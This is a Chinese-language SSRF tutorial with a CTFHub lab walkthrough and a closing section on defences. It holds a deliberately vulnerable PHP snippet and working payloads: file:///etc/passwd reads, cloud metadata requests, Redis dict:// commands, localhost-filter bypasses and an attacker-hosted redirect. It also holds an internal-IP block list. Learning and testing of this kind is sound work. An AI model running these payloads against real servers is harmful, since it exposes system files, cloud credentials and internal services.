1. SSRF漏洞的本质与危害
服务器端请求伪造(Server-Side Request Forgery,简称SSRF)是一种利用服务器作为代理发起非预期网络请求的安全漏洞。当Web应用接受用户可控的URL参数且未做严格校验时,攻击者可以构造特殊请求使服务器访问内部系统或第三方服务,从而绕过网络边界防护。
1.1 漏洞产生原理
SSRF的核心成因在于服务端代码对用户提供的URL地址缺乏有效验证。典型场景包括:
- 网页抓取功能(如预览网页内容)
- 文件导入功能(通过URL获取远程文件)
- 第三方API调用(将用户输入拼接到请求中)
- 服务器状态检查(请求用户指定的健康检查端点)
以下是一个存在漏洞的PHP代码示例:
<?php $url = $_GET['url']; // 直接使用用户输入 $data = file_get_contents($url); echo $data; ?>1.2 攻击面扩展技术
攻击者通过精心构造的URL可以实现:
- 内部网络探测:访问
http://127.0.0.1:8080/admin等内网地址 - 协议滥用:使用
file:///etc/passwd读取系统文件 - 云元数据窃取:请求AWS的
169.254.169.254元数据接口 - 端口扫描:通过响应时间差异判断端口开放状态
- 反射型攻击:将服务器作为流量放大节点发起DDoS
重要提示:云环境中的SSRF风险更高,因为云实例通常具备临时凭证且内网服务认证较弱
2. CTFHub靶场环境搭建
2.1 Docker快速部署
推荐使用官方CTFHub镜像快速搭建实验环境:
docker pull ctfhub/web_ssrf docker run -d -p 8080:80 --name ssrf-lab ctfhub/web_ssrf2.2 靶场拓扑结构
该实验环境包含三个关键组件:
- 前端Web应用:运行在80端口,提供漏洞触发界面
- 内部API服务:运行在8081端口,需要SSRF访问
- Flag存储服务:运行在9000端口,存储目标flag
组件间关系如下图所示(实际环境需通过SSRF探测发现):
[用户浏览器] ↓ [前端Web:80] → (正常业务请求) ↓ [内部API:8081] ← (通过SSRF访问) ↓ [Flag服务:9000]3. 基础SSRF漏洞利用
3.1 基础探测手法
使用Burp Suite的Repeater模块测试URL参数:
GET /api/fetch?url=http://example.com HTTP/1.1 Host: vuln-site.com逐步替换URL为以下测试用例:
http://127.0.0.1:8081/status→ 检测内网服务file:///etc/passwd→ 尝试文件读取dict://localhost:6379/info→ Redis服务探测
3.2 协议处理差异
不同后端语言支持的协议存在差异:
| 语言 | 支持协议 | 风险等级 |
|---|---|---|
| PHP | http, https, ftp, file, php, zip | ★★★★★ |
| Python | http, https, ftp, file | ★★★★☆ |
| Java | http, https, jar, file | ★★★☆☆ |
| Node.js | http, https | ★★☆☆☆ |
3.3 绕过防护技巧
当遇到基础防护时可尝试:
IP编码绕过:
- 十进制IP:
http://2130706433= 127.0.0.1 - 十六进制IP:
http://0x7f000001 - 八进制IP:
http://0177.0.0.01
- 十进制IP:
域名重定向:
# 托管在攻击者服务器的redirect.php <?php header("Location: http://127.0.0.1/admin"); ?>URL解析差异:
- 添加默认端口:
http://127.0.0.1:80@evil.com - 使用特殊字符:
http://127.1/、http://127.0.1/
- 添加默认端口:
4. CTFHub靶场实战演练
4.1 关卡1:基础SSRF
目标:获取运行在127.0.0.1:8081的flag
步骤:
- 访问
http://靶场IP/?url=http://127.0.0.1:8081 - 观察返回内容包含:"flag在9000端口"
- 修改请求为
http://127.0.0.1:9000/flag.txt - 获取完整flag:
ctfhub{ssrf_basic_123}
4.2 关卡2:过滤绕过
防护规则:黑名单过滤127.0.0.1、localhost等关键词
绕过方案:
- 使用IPv6地址:
http://[::1]:9000/ - 域名指向:
http://localtest.me(解析到127.0.0.1) - 短网址服务:生成指向内网地址的短链
最终payload:
http://靶场IP/?url=http://0.0.0.0:9000(0.0.0.0在某些配置中会解析为本地)
4.3 关卡3:高级利用
场景:需要访问Redis服务执行命令
步骤:
- 发现开放6379端口
- 构造dict协议请求:
dict://127.0.0.1:6379/SET flag ctfhub{redis_ssrf} - 通过HTTP协议读取:
http://127.0.0.1:8081/read?key=flag
5. 防御方案与最佳实践
5.1 输入验证策略
实施多层防御措施:
协议白名单:仅允许http/https
ALLOWED_SCHEMES = {'http', 'https'} if urlparse(url).scheme not in ALLOWED_SCHEMES: raise InvalidURLError域名黑名单:拦截内部域名和IP
BLACKLIST = ['127.', '10.', '192.168.', 'localhost'] if any(host.startswith(x) for x in BLACKLIST): raise BlockedHostErrorDNS重绑定防护:
const resolvedIP = dns.lookup(hostname); if (isPrivateIP(resolvedIP)) { throw new Error('Internal IP blocked'); }
5.2 网络层防护
- 出口过滤:限制服务器只能访问必要的外部网络
- VPC配置:云环境中禁用实例元数据公共访问
- 服务认证:内网服务强制使用双向TLS认证
5.3 安全开发建议
- 使用专用HTTP客户端库(如Python的
requests)而非原生函数 - 禁用危险的URL协议处理(PHP的
allow_url_fopen=Off) - 实施请求目标验证:
URL url = new URL(userInput); if (!url.getHost().endsWith(".trusted.com")) { throw new SecurityException(); }
我在实际渗透测试中发现,即使实施了上述防护,攻击者仍可能通过以下方式绕过:
- 利用DNS重绑定攻击(TTL设为0的恶意域名)
- 通过服务端请求走私(HTTP Request Smuggling)
- 利用CDN/代理服务的IP池访问内网
因此建议定期进行SSRF专项安全测试,使用自动化工具(如SSRFmap)配合手动验证